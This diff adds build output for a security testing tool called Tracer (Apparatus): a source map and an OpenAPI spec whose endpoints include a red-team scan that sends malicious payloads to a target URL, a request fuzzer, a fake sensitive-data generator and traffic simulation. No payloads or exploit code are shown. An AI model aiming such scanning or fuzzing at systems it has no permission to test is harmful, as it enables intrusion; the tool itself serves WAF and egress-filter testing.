+ {"version":3,"file":"sse-broadcast.js","sourceRoot":"","sources":["../src/sse-broadcast.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,309 @@
1
+ export const swaggerDocument = {
2
+ "openapi": "3.0.0",
3
+ "info": {
4
+ "title": "Tracer (Apparatus) API",
5
+ "version": "1.0.0",
6
+ "description": "Universal Network Simulation Platform for testing WAFs, Gateways, and Egress Filters."
7
+ },
8
+ "servers": [
9
+ {
10
+ "url": "/"
11
+ }
12
+ ],
13
+ "paths": {
14
+ "/echo": {
15
+ "get": {
16
+ "tags": ["Core"],
17
+ "summary": "Echo Request",
18
+ "description": "Returns details about the HTTP request.",
19
+ "parameters": [
20
+ {
21
+ "in": "query",
22
+ "name": "status",
23
+ "schema": { "type": "integer", "example": 200 },
24
+ "description": "Force a specific HTTP status code response."
25
+ },
26
+ {
27
+ "in": "query",
28
+ "name": "delay",
29
+ "schema": { "type": "integer", "example": 500 },
30
+ "description": "Inject a delay in milliseconds before responding."
31
+ }
32
+ ],
33
+ "responses": {
34
+ "200": { "description": "Successful echo" }
35
+ }
36
+ }
37
+ },
38
+ "/sysinfo": {
39
+ "get": {
40
+ "tags": ["Core"],
41
+ "summary": "System Information",
42
+ "description": "Retrieve container environment, OS, and runtime stats.",
43
+ "responses": {
44
+ "200": { "description": "JSON object with system details" }
45
+ }
46
+ }
47
+ },
48
+ "/dns": {
49
+ "get": {
50
+ "tags": ["Infra Debugging"],
51
+ "summary": "DNS Resolver",
52
+ "parameters": [
53
+ { "in": "query", "name": "target", "required": true, "schema": { "type": "string" }, "description": "Host to resolve" },
54
+ { "in": "query", "name": "type", "schema": { "type": "string", "default": "A" }, "description": "Record type (A, AAAA, MX, etc)" }
55
+ ],
56
+ "responses": {
57
+ "200": { "description": "Resolution results" }
58
+ }
59
+ }
60
+ },
61
+ "/ping": {
62
+ "get": {
63
+ "tags": ["Infra Debugging"],
64
+ "summary": "TCP Connectivity Check",
65
+ "parameters": [
66
+ { "in": "query", "name": "target", "required": true, "schema": { "type": "string" }, "description": "host:port to test" }
67
+ ],
68
+ "responses": {
69
+ "200": { "description": "Connection result" }
70
+ }
71
+ }
72
+ },
73
+ "/hooks/{id}": {
74
+ "post": {
75
+ "tags": ["Infra Debugging"],
76
+ "summary": "Webhook Sink",
77
+ "parameters": [
78
+ { "in": "path", "name": "id", "required": true, "schema": { "type": "string" } }
79
+ ],
80
+ "responses": {
81
+ "200": { "description": "Webhook received" }
82
+ }
83
+ }
84
+ },
85
+ "/redteam/validate": {
86
+ "get": {
87
+ "tags": ["Security"],
88
+ "summary": "Red-Team Validation Scan",
89
+ "description": "Scan a target URL with a library of malicious payloads to test WAF effectiveness.",
90
+ "parameters": [
91
+ { "in": "query", "name": "target", "schema": { "type": "string" }, "description": "Target base URL" },
92
+ { "in": "query", "name": "path", "schema": { "type": "string" }, "description": "Target path to hit" }
93
+ ],
94
+ "responses": {
95
+ "200": { "description": "Validation summary and details" }
96
+ }
97
+ }
98
+ },
99
+ "/api/redteam/fuzzer/run": {
100
+ "post": {
101
+ "tags": ["Security"],
102
+ "summary": "Execute One Live Fuzzer Request",
103
+ "description": "Run a single operator-defined request against a target and return normalized response telemetry. Targets are loopback-only unless APPARATUS_FUZZER_ALLOWED_TARGETS is configured.",
104
+ "requestBody": {
105
+ "required": true,
106
+ "content": {
107
+ "application/json": {
108
+ "schema": {
109
+ "type": "object",
110
+ "properties": {
111
+ "target": { "type": "string", "description": "Base URL. Defaults to current Apparatus host." },
112
+ "path": { "type": "string", "default": "/echo" },
113
+ "method": { "type": "string", "default": "GET" },
114
+ "headers": {
115
+ "type": "object",
116
+ "additionalProperties": { "type": "string" }
117
+ },
118
+ "query": {
119
+ "type": "object",
120
+ "additionalProperties": {
121
+ "oneOf": [{ "type": "string" }, { "type": "number" }, { "type": "boolean" }]
122
+ }
123
+ },
124
+ "body": { "description": "Arbitrary request body forwarded upstream for body-capable methods." },
125
+ "timeoutMs": { "type": "number", "default": 5000 }
126
+ }
127
+ }
128
+ }
129
+ }
130
+ },
131
+ "responses": {
132
+ "200": {
133
+ "description": "Execution metadata and normalized response output",
134
+ "content": {
135
+ "application/json": {
136
+ "schema": {
137
+ "type": "object",
138
+ "properties": {
139
+ "request": {
140
+ "type": "object",
141
+ "properties": {
142
+ "method": { "type": "string" },
143
+ "url": { "type": "string" },
144
+ "timeoutMs": { "type": "number" },
145
+ "hasBody": { "type": "boolean" }
146
+ }
147
+ },
148
+ "response": {
149
+ "type": "object",
150
+ "properties": {
151
+ "status": { "type": "number", "nullable": true },
152
+ "blocked": { "type": "boolean" },
153
+ "durationMs": { "type": "number" },
154
+ "headers": { "type": "object", "additionalProperties": { "type": "string" } },
155
+ "bodyBytes": { "type": "number", "description": "Bytes observed before capture limits are applied." },
156
+ "bodyPreview": { "type": "string" },
157
+ "bodyTruncated": { "type": "boolean" },
158
+ "error": { "type": "string" },
159
+ "errorCode": { "type": "string" }
160
+ }
161
+ }
162
+ }
163
+ }
164
+ }
165
+ }
166
+ },
167
+ "400": {
168
+ "description": "Invalid request payload",
169
+ "content": {
170
+ "application/json": {
171
+ "schema": {
172
+ "type": "object",
173
+ "properties": {
174
+ "error": { "type": "string" }
175
+ }
176
+ }
177
+ }
178
+ }
179
+ },
180
+ "403": { "description": "Security gate blocked non-local request origin" }
181
+ }
182
+ }
183
+ },
184
+ "/sentinel/rules": {
185
+ "get": {
186
+ "tags": ["Defense"],
187
+ "summary": "List Active Shield Rules",
188
+ "responses": { "200": { "description": "List of active rules" } }
189
+ },
190
+ "post": {
191
+ "tags": ["Defense"],
192
+ "summary": "Add Active Shield Rule",
193
+ "requestBody": {
194
+ "content": {
195
+ "application/json": {
196
+ "schema": {
197
+ "type": "object",
198
+ "properties": {
199
+ "pattern": { "type": "string" },
200
+ "action": { "type": "string", "enum": ["block", "log"] }
201
+ }
202
+ }
203
+ }
204
+ }
205
+ },
206
+ "responses": { "200": { "description": "Rule added" } }
207
+ }
208
+ },
209
+ "/mtd": {
210
+ "post": {
211
+ "tags": ["Defense"],
212
+ "summary": "Rotate MTD Prefix",
213
+ "requestBody": {
214
+ "content": {
215
+ "application/json": {
216
+ "schema": {
217
+ "type": "object",
218
+ "properties": { "prefix": { "type": "string" } }
219
+ }
220
+ }
221
+ }
222
+ },
223
+ "responses": { "200": { "description": "Prefix rotated" } }
224
+ }
225
+ },
226
+ "/dlp": {
227
+ "get": {
228
+ "tags": ["Security"],
229
+ "summary": "Data Loss Prevention Simulator",
230
+ "parameters": [
231
+ { "in": "query", "name": "type", "schema": { "type": "string", "enum": ["cc", "ssn", "email", "sql"] } }
232
+ ],
233
+ "responses": { "200": { "description": "Fake sensitive data" } }
234
+ }
235
+ },
236
+ "/ghosts": {
237
+ "get": {
238
+ "tags": ["Advanced Logic"],
239
+ "summary": "Behavioral Ghost Traffic",
240
+ "description": "Start or stop background traffic generation to simulate user activity.",
241
+ "parameters": [
242
+ { "in": "query", "name": "action", "schema": { "type": "string", "enum": ["start", "stop"] }, "description": "Action to perform" },
243
+ { "in": "query", "name": "target", "schema": { "type": "string" }, "description": "Target base URL (default: localhost)" },
244
+ { "in": "query", "name": "delay", "schema": { "type": "integer", "default": 1000 }, "description": "Delay between requests in ms" }
245
+ ],
246
+ "responses": {
247
+ "200": { "description": "Status of ghost traffic" }
248
+ }
249
+ }
250
+ },
251
+ "/script": {
252
+ "post": {
253
+ "tags": ["Advanced Logic"],
254
+ "summary": "Execute JS Script",
255
+ "description": "Run safe JavaScript code in a sandbox (vm). Timeout: 100ms.",
256
+ "requestBody": {
257
+ "content": {
258
+ "application/json": {
259
+ "schema": {
260
+ "type": "object",
261
+ "required": ["code"],
262
+ "properties": {
263
+ "code": { "type": "string", "example": "result = input.a + input.b;" },
264
+ "input": { "type": "object", "example": { "a": 1, "b": 2 } }
265
+ }
266
+ }
267
+ }
268
+ }
269
+ },
270
+ "responses": {
271
+ "200": { "description": "Execution result and logs" }
272
+ }
273
+ }
274
+ },
275
+ "/kv/{key}": {
276
+ "get": {
277
+ "tags": ["Advanced Logic"],
278
+ "summary": "Get KV Value",
279
+ "parameters": [
280
+ { "in": "path", "name": "key", "required": true, "schema": { "type": "string" } }
281
+ ],
282
+ "responses": {
283
+ "200": { "description": "Value found" },
284
+ "404": { "description": "Key not found" }
285
+ }
286
+ },
287
+ "put": {
288
+ "tags": ["Advanced Logic"],
289
+ "summary": "Set KV Value",
290
+ "parameters": [
291
+ { "in": "path", "name": "key", "required": true, "schema": { "type": "string" } }
292
+ ],
293
+ "requestBody": {
294
+ "content": { "application/json": { "schema": { "type": "object" } } }
295
+ },
296
+ "responses": { "200": { "description": "Value set" } }
297
+ },
298
+ "delete": {
299
+ "tags": ["Advanced Logic"],
300
+ "summary": "Delete KV Value",
301
+ "parameters": [
302
+ { "in": "path", "name": "key", "required": true, "schema": { "type": "string" } }
303
+ ],
304
+ "responses": { "204": { "description": "Value deleted" } }
305
+ }
306
+ }
307
+ }
308
+ };
309
+ //# sourceMappingURL=swagger.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"swagger.js","sourceRoot":"","sources":["../src/swagger.ts"],"names":[],"mappings":"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